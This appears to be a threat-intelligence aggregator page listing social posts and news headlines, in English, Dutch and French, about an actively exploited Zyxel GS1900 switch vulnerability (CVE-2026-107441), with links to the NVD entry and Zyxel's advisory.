  • social bsky.app @infosec.skyfleet.blue 2026-11-04 12:38 UTC
    Hackers Exploit Zyxel GS1900 Zero-Day in the Wild to Hijack Network Switches
    Open source
  • social bsky.app @newsfacts.bsky.social 2026-11-04 12:31 UTC
    Een kwetsbaarheid in Zyxel switches zorgt voor wereldwijde zorgen na recente aan Onderzoekers van Binarly hebben een kritieke kwetsbaarheid ontdekt in Zyxel GS1900 switches, met een score van 9.8. Deze kwetsbaarheid, geregistreerd als CVE-…
    Open source
  • news cybersecuritynews.com 2026-11-04 12:00 UTC
    Hackers Exploit Zyxel GS1900 Zero-Day in the Wild to Hijack Network Switches - CyberSecurityNews
    Open source
  • social bsky.app @cybowl.bsky.social 2026-11-04 06:24 UTC
    Vulnérabilités élevées (7 ≤ CVSS < 9) · 4 • Microsoft Windows (CBS COM) (CVE-2026-81963), CVSS 7.8 🔴 (Cyberveille) • Zyxel GS1900 (switchs Ethernet) (CVE-2026-107441), CVSS 8.8 (Cyberveille Esanté) • Zoho Password Manager Pro / PAM360 (CVE…
    Open source

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-107441
zyxel.com
GitHub CVE vendor-advisory
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-out-of-bounds-write-vulnerability-in-gs1900-series-switches-11-03-2026